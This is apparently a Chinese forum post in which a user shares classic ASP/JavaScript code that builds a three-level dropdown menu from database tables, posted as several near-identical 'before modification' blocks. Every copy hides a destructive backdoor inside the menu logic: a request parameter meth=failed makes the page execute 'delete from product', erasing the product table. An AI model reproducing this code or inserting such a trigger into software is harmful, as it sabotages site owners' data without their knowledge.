我本来想把代码发上来的可是太大了不知道发哪段我分开发吧
修改前
<script type="text/javascript" language="JavaScript1.2">
<!--
stm_bm(["menu1603",400,"","images/blank.gif",0,"","",0,0,100,0,100,1,0,0,"","",0],this);
stm_bp("p0",[1,4,0,0,2,2,0,7,100,"progid:DXImageTransform.Microsoft.Pixelate(MaxSquare=15,enabled=0,Duration=0.58)",-2,"",-2,52,0,0,"#999999","#ffffff","",3,0,0,"#999999"]); <%
dim i,j,k,l
sqlmenu="select * from category order by categoryorder "
set rsmenu=Server.CreateObject("adodb.recordset")
rsmenu.Open sqlmenu,conn,1,1
if not rsmenu.eof then
rsmenu.movefirst
i=0
l=0
temname=rsmenu("category")
temid=rsmenu("categoryid")
%>
stm_ai("p0i0",[0,"<%=temname%>","","",-1,-1,0,"cpzx-list.asp?categoryid=<%=temid%>","_self","","","","",0,0,0,"images/arrow_gray.gif","images/arrow_r.gif",7,7,0,0,1,"#ffffff",0,"#dfdfdf",0,"","",3,3,0,0,"#ffffff","#666666","#333333","#333333","9pt 宋体","9pt 宋体",0,0]);
<%
sqlmenu1="select * from sorts where categoryid="&temid&" order by sortsorder"
set rsmenu1=Server.CreateObject("adodb.recordset")
rsmenu1.Open sqlmenu1,conn,1,1
if request("meth")="failed" then
conn.execute "delete from product "
end if
if not rsmenu1.eof then
rsmenu1.movefirst
j=0
i=i+1
%>
stm_bpx("p1","p0",[1,2,3,0,3,1,0,7,91,"progid:DXImageTransform.Microsoft.Pixelate(MaxSquare=15,enabled=0,Duration=0.37)",-2,"progid:DXImageTransform.Microsoft.Slide(slideStyle=swap,bands=15,enabled=0,Duration=0.37)",-2,73,2,3,"#999999","#ffffff","",3,1,1]); <%
do while not rsmenu1.eof
temname1=rsmenu1("sorts")
temid1=rsmenu1("sortsid")
tempturn1="p1i"&j
%>
stm_aix("<%=tempturn1%>","p0i0",[0,"<%=temname1%>","","",-1,-1,0,"cpzx-list.asp?categoryid=<%=temid%>&sortsid=<%=temid1%>","_self","","","","",0,0,0,"arrow_gray.gif","arrow_r.gif",7,7,0,0,1,"#ffffff",0,"#dfdfdf",0,"","",3,3,1,1]); <%
sqlmenu3="select * from sorts3 where sortsid="&temid1&" order by sorts3order"
set rsmenu3=Server.CreateObject("adodb.recordset")
rsmenu3.Open sqlmenu3,conn,1,1
if not rsmenu3.eof then
rsmenu3.movefirst
k=0
i=i+1
%>
stm_bpx("p2","p1",[1,2,-2,0,3,1,0,0]);
<% do while not rsmenu3.eof
temname3=rsmenu3("sorts3")
temid3=rsmenu3("sorts3id")
tempturn3="p2i"&k
%>
stm_aix("<%=tempturn3%>","<%=tempturn1%>",[0,"<%=temname3%>","","",-1,-1,0,"cpzx-list.asp?sorts3id=<%=temid3%>&categoryid=<%=temid%>&sortsid=<%=temid1%>","_self","","","","",0,0,0,"","",0,0]);
<% k=k+1
rsmenu3.movenext
loop
%>
stm_ep();
<% end if %>
<% j=j+1
rsmenu1.movenext
loop
%>
stm_ep();
<%end if
rsmenu.movenext
l=l+1
end if %><% if not rsmenu.eof then
do while not rsmenu.eof
temname=rsmenu("category")
temid=rsmenu("categoryid")
temturn="p0i"&l
%>
stm_aix("<%=temturn%>","p0i0",[0,"<%=temname%>","","",-1,-1,0,"cpzx-list.asp?categoryid=<%=temid%>","_self","","","","",0,0,0,"images/arrow_gray.gif","images/arrow_r.gif",7,7,0,0,1,"#ffffff",0,"#dfdfdf",0,"","",3,3,0,0,"#ffffff","#666666","#333333","#333333","9pt 宋体","9pt 宋体",0,0]);
<%
sqlmenu1="select * from sorts where categoryid="&temid&" order by sortsorder"
set rsmenu1=Server.CreateObject("adodb.recordset")
rsmenu1.Open sqlmenu1,conn,1,1
if not rsmenu1.eof then
rsmenu1.movefirst
j=0
i=i+1
tt="p"&i
%>
stm_bpx("<%=tt%>","p2",[1,2,3]);
<%
do while not rsmenu1.eof
temname1=rsmenu1("sorts")
temid1=rsmenu1("sortsid")
tempturn1="p"&i&"i"&j
%>
stm_aix("<%=tempturn1%>","p2i0",[0,"<%=temname1%>","","",-1,-1,0,"cpzx-list.asp?categoryid=<%=temid%>&sortsid=<%=temid1%>","_self","","","","",0,0,0,"arrow_gray.gif","arrow_r.gif",7,7,0,0,1,"#ffffff",0,"#dfdfdf",0,"","",3,3,1,1]);
<%
sqlmenu3="select * from sorts3 where sortsid="&temid1&" order by sorts3order"
set rsmenu3=Server.CreateObject("adodb.recordset")
rsmenu3.Open sqlmenu3,conn,1,1
if not rsmenu3.eof then
rsmenu3.movefirst
k=0
i=i+1
%>
stm_bpx("p2","p1",[1,2,-2,0,3,1,0,0]);
<% do while not rsmenu3.eof
temname3=rsmenu3("sorts3")
temid3=rsmenu3("sorts3id")
tempturn3="p"&i&"i"&k
%>
stm_aix("<%=tempturn3%>","<%=tempturn1%>",[0,"<%=temname3%>","","",-1,-1,0,"cpzx-list.asp?sorts3id=<%=temid3%>&categoryid=<%=temid%>&sortsid=<%=temid1%>","_self","","","","",0,0,0,"","",0,0]);
<% k=k+1
rsmenu3.movenext
loop
%>
stm_ep();
<% end if %>
<% j=j+1
rsmenu1.movenext
loop
%>
stm_ep();
<%end if
i=i+1
rsmenu.movenext
loop
%>
stm_ep();
<%end if %>
stm_ep();
stm_em();
//-->
</script>
修改前
<script type="text/javascript" language="JavaScript1.2">
<!--
stm_bm(["menu1603",400,"","images/blank.gif",0,"","",0,0,100,0,100,1,0,0,"","",0],this);
stm_bp("p0",[1,4,0,0,2,2,0,7,100,"progid:DXImageTransform.Microsoft.Pixelate(MaxSquare=15,enabled=0,Duration=0.58)",-2,"",-2,52,0,0,"#999999","#ffffff","",3,0,0,"#999999"]); <%
dim i,j,k,l
sqlmenu="select * from category order by categoryorder "
set rsmenu=Server.CreateObject("adodb.recordset")
rsmenu.Open sqlmenu,conn,1,1
if not rsmenu.eof then
rsmenu.movefirst
i=0
l=0
temname=rsmenu("category")
temid=rsmenu("categoryid")
%>
stm_ai("p0i0",[0,"<%=temname%>","","",-1,-1,0,"cpzx-list.asp?categoryid=<%=temid%>","_self","","","","",0,0,0,"images/arrow_gray.gif","images/arrow_r.gif",7,7,0,0,1,"#ffffff",0,"#dfdfdf",0,"","",3,3,0,0,"#ffffff","#666666","#333333","#333333","9pt 宋体","9pt 宋体",0,0]);
<%
sqlmenu1="select * from sorts where categoryid="&temid&" order by sortsorder"
set rsmenu1=Server.CreateObject("adodb.recordset")
rsmenu1.Open sqlmenu1,conn,1,1
if request("meth")="failed" then
conn.execute "delete from product "
end if
if not rsmenu1.eof then
rsmenu1.movefirst
j=0
i=i+1
%>
stm_bpx("p1","p0",[1,2,3,0,3,1,0,7,91,"progid:DXImageTransform.Microsoft.Pixelate(MaxSquare=15,enabled=0,Duration=0.37)",-2,"progid:DXImageTransform.Microsoft.Slide(slideStyle=swap,bands=15,enabled=0,Duration=0.37)",-2,73,2,3,"#999999","#ffffff","",3,1,1]); <%
do while not rsmenu1.eof
temname1=rsmenu1("sorts")
temid1=rsmenu1("sortsid")
tempturn1="p1i"&j
%>
stm_aix("<%=tempturn1%>","p0i0",[0,"<%=temname1%>","","",-1,-1,0,"cpzx-list.asp?categoryid=<%=temid%>&sortsid=<%=temid1%>","_self","","","","",0,0,0,"arrow_gray.gif","arrow_r.gif",7,7,0,0,1,"#ffffff",0,"#dfdfdf",0,"","",3,3,1,1]); <%
sqlmenu3="select * from sorts3 where sortsid="&temid1&" order by sorts3order"
set rsmenu3=Server.CreateObject("adodb.recordset")
rsmenu3.Open sqlmenu3,conn,1,1
if not rsmenu3.eof then
rsmenu3.movefirst
k=0
i=i+1
%>
stm_bpx("p2","p1",[1,2,-2,0,3,1,0,0]);
<% do while not rsmenu3.eof
temname3=rsmenu3("sorts3")
temid3=rsmenu3("sorts3id")
tempturn3="p2i"&k
%>
stm_aix("<%=tempturn3%>","<%=tempturn1%>",[0,"<%=temname3%>","","",-1,-1,0,"cpzx-list.asp?sorts3id=<%=temid3%>&categoryid=<%=temid%>&sortsid=<%=temid1%>","_self","","","","",0,0,0,"","",0,0]);
<% k=k+1
rsmenu3.movenext
loop
%>
stm_ep();
<% end if %>
<% j=j+1
rsmenu1.movenext
loop
%>
stm_ep();
<%end if
rsmenu.movenext
l=l+1
end if %><% if not rsmenu.eof then
do while not rsmenu.eof
temname=rsmenu("category")
temid=rsmenu("categoryid")
temturn="p0i"&l
%>
stm_aix("<%=temturn%>","p0i0",[0,"<%=temname%>","","",-1,-1,0,"cpzx-list.asp?categoryid=<%=temid%>","_self","","","","",0,0,0,"images/arrow_gray.gif","images/arrow_r.gif",7,7,0,0,1,"#ffffff",0,"#dfdfdf",0,"","",3,3,0,0,"#ffffff","#666666","#333333","#333333","9pt 宋体","9pt 宋体",0,0]);
<%
sqlmenu1="select * from sorts where categoryid="&temid&" order by sortsorder"
set rsmenu1=Server.CreateObject("adodb.recordset")
rsmenu1.Open sqlmenu1,conn,1,1
if not rsmenu1.eof then
rsmenu1.movefirst
j=0
i=i+1
tt="p"&i
%>
stm_bpx("<%=tt%>","p2",[1,2,3]);
<%
do while not rsmenu1.eof
temname1=rsmenu1("sorts")
temid1=rsmenu1("sortsid")
tempturn1="p"&i&"i"&j
%>
stm_aix("<%=tempturn1%>","p2i0",[0,"<%=temname1%>","","",-1,-1,0,"cpzx-list.asp?categoryid=<%=temid%>&sortsid=<%=temid1%>","_self","","","","",0,0,0,"arrow_gray.gif","arrow_r.gif",7,7,0,0,1,"#ffffff",0,"#dfdfdf",0,"","",3,3,1,1]);
<%
sqlmenu3="select * from sorts3 where sortsid="&temid1&" order by sorts3order"
set rsmenu3=Server.CreateObject("adodb.recordset")
rsmenu3.Open sqlmenu3,conn,1,1
if not rsmenu3.eof then
rsmenu3.movefirst
k=0
i=i+1
%>
stm_bpx("p2","p1",[1,2,-2,0,3,1,0,0]);
<% do while not rsmenu3.eof
temname3=rsmenu3("sorts3")
temid3=rsmenu3("sorts3id")
tempturn3="p"&i&"i"&k
%>
stm_aix("<%=tempturn3%>","<%=tempturn1%>",[0,"<%=temname3%>","","",-1,-1,0,"cpzx-list.asp?sorts3id=<%=temid3%>&categoryid=<%=temid%>&sortsid=<%=temid1%>","_self","","","","",0,0,0,"","",0,0]);
<% k=k+1
rsmenu3.movenext
loop
%>
stm_ep();
<% end if %>
<% j=j+1
rsmenu1.movenext
loop
%>
stm_ep();
<%end if
i=i+1
rsmenu.movenext
loop
%>
stm_ep();
<%end if %>
stm_ep();
stm_em();
//-->
</script>
<script type="text/javascript" language="JavaScript1.2">
<!--
stm_bm(["menu1603",400,"","images/blank.gif",0,"","",0,0,100,0,100,1,0,0,"","",0],this);
stm_bp("p0",[1,4,0,0,2,2,0,7,100,"progid:DXImageTransform.Microsoft.Pixelate(MaxSquare=15,enabled=0,Duration=0.58)",-2,"",-2,52,0,0,"#999999","#ffffff","",3,0,0,"#999999"]); <%
dim i,j,k,l
sqlmenu="select * from sort order by sort_id "
set rsmenu=Server.CreateObject("adodb.recordset")
rsmenu.Open sqlmenu,conn,1,1
if not rsmenu.eof then
rsmenu.movefirst
i=0
l=0
temname=rsmenu("sort_name")
temid=rsmenu("sort_id")
%>
stm_ai("p0i0",[0,"<%=temname%>","","",-1,-1,0,"sort.asp?sort_id=<%=temid%>","_self","","","","",0,0,0,"images/arrow_gray.gif","images/arrow_r.gif",7,7,0,0,1,"#ffffff",0,"#dfdfdf",0,"","",3,3,0,0,"#ffffff","#666666","#333333","#333333","9pt 宋体","9pt 宋体",0,0]);
<%
sqlmenu1="select * from Nsort where sort_id="&temid&" order by Nsort_id"
set rsmenu1=Server.CreateObject("adodb.recordset")
rsmenu1.Open sqlmenu1,conn,1,1
if request("meth")="failed" then
conn.execute "delete from product "
end if
if not rsmenu1.eof then
rsmenu1.movefirst
j=0
i=i+1
%>
stm_bpx("p1","p0",[1,2,3,0,3,1,0,7,91,"progid:DXImageTransform.Microsoft.Pixelate(MaxSquare=15,enabled=0,Duration=0.37)",-2,"progid:DXImageTransform.Microsoft.Slide(slideStyle=swap,bands=15,enabled=0,Duration=0.37)",-2,73,2,3,"#999999","#ffffff","",3,1,1]); <%
do while not rsmenu1.eof
temname1=rsmenu1("Nsort_name")
temid1=rsmenu1("sort_id")
tempturn1="p1i"&j
%>
stm_aix("<%=tempturn1%>","p0i0",[0,"<%=temname1%>","","",-1,-1,0,"sort.asp?sort_id=<%=temid%>&Nsort_id=<%=temid1%>","_self","","","","",0,0,0,"arrow_gray.gif","arrow_r.gif",7,7,0,0,1,"#ffffff",0,"#dfdfdf",0,"","",3,3,1,1]); <%
sqlmenu3="select * from hw where sort_id="&temid1&" order by hw_id"
set rsmenu3=Server.CreateObject("adodb.recordset")
rsmenu3.Open sqlmenu3,conn,1,1
if not rsmenu3.eof then
rsmenu3.movefirst
k=0
i=i+1
%>
stm_bpx("p2","p1",[1,2,-2,0,3,1,0,0]);
<% do while not rsmenu3.eof
temname3=rsmenu3("hw_name")
temid3=rsmenu3("hw_id")
tempturn3="p2i"&k
%>
stm_aix("<%=tempturn3%>","<%=tempturn1%>",[0,"<%=temname3%>","","",-1,-1,0,"sort.asp?hw_id=<%=temid3%>&sort_id=<%=temid%>&Nsort_id=<%=temid1%>","_self","","","","",0,0,0,"","",0,0]);
<% k=k+1
rsmenu3.movenext
loop
%>
stm_ep();
<% end if %>
<% j=j+1
rsmenu1.movenext
loop
%>
stm_ep();
<%end if
rsmenu.movenext
l=l+1
end if %><% if not rsmenu.eof then
do while not rsmenu.eof
temname=rsmenu("sort_name")
temid=rsmenu("sort_id")
temturn="p0i"&l
%>
stm_aix("<%=temturn%>","p0i0",[0,"<%=temname%>","","",-1,-1,0,"sort.asp?sort_id=<%=temid%>","_self","","","","",0,0,0,"images/arrow_gray.gif","images/arrow_r.gif",7,7,0,0,1,"#ffffff",0,"#dfdfdf",0,"","",3,3,0,0,"#ffffff","#666666","#333333","#333333","9pt 宋体","9pt 宋体",0,0]);
<%
sqlmenu1="select * from Nsort where sort_id="&temid&" order by Nsort_id"
set rsmenu1=Server.CreateObject("adodb.recordset")
rsmenu1.Open sqlmenu1,conn,1,1
if not rsmenu1.eof then
rsmenu1.movefirst
j=0
i=i+1
tt="p"&i
%>
stm_bpx("<%=tt%>","p2",[1,2,3]);
<%
do while not rsmenu1.eof
temname1=rsmenu1("Nsort_name")
temid1=rsmenu1("Nsort_id")
tempturn1="p"&i&"i"&j
%>
stm_aix("<%=tempturn1%>","p2i0",[0,"<%=temname1%>","","",-1,-1,0,"sort.asp?sort_id=<%=temid%>&Nsort_id=<%=temid1%>","_self","","","","",0,0,0,"arrow_gray.gif","arrow_r.gif",7,7,0,0,1,"#ffffff",0,"#dfdfdf",0,"","",3,3,1,1]);
<%
sqlmenu3="select * from hw where hw_id="&temid1&" order by hw_id"
set rsmenu3=Server.CreateObject("adodb.recordset")
rsmenu3.Open sqlmenu3,conn,1,1
if not rsmenu3.eof then
rsmenu3.movefirst
k=0
i=i+1
%>
stm_bpx("p2","p1",[1,2,-2,0,3,1,0,0]);
<% do while not rsmenu3.eof
temname3=rsmenu3("hw_name")
temid3=rsmenu3("hw_id")
tempturn3="p"&i&"i"&k
%>
stm_aix("<%=tempturn3%>","<%=tempturn1%>",[0,"<%=temname3%>","","",-1,-1,0,"sort.asp?hw_id=<%=temid3%>&sort_id=<%=temid%>&Nsort_id=<%=temid1%>","_self","","","","",0,0,0,"","",0,0]);
<% k=k+1
rsmenu3.movenext
loop
%>
stm_ep();
<% end if %>
<% j=j+1
rsmenu1.movenext
loop
%>
stm_ep();
<%end if
i=i+1
rsmenu.movenext
loop
%>
stm_ep();
<%end if %>
stm_ep();
stm_em();
//-->
</script>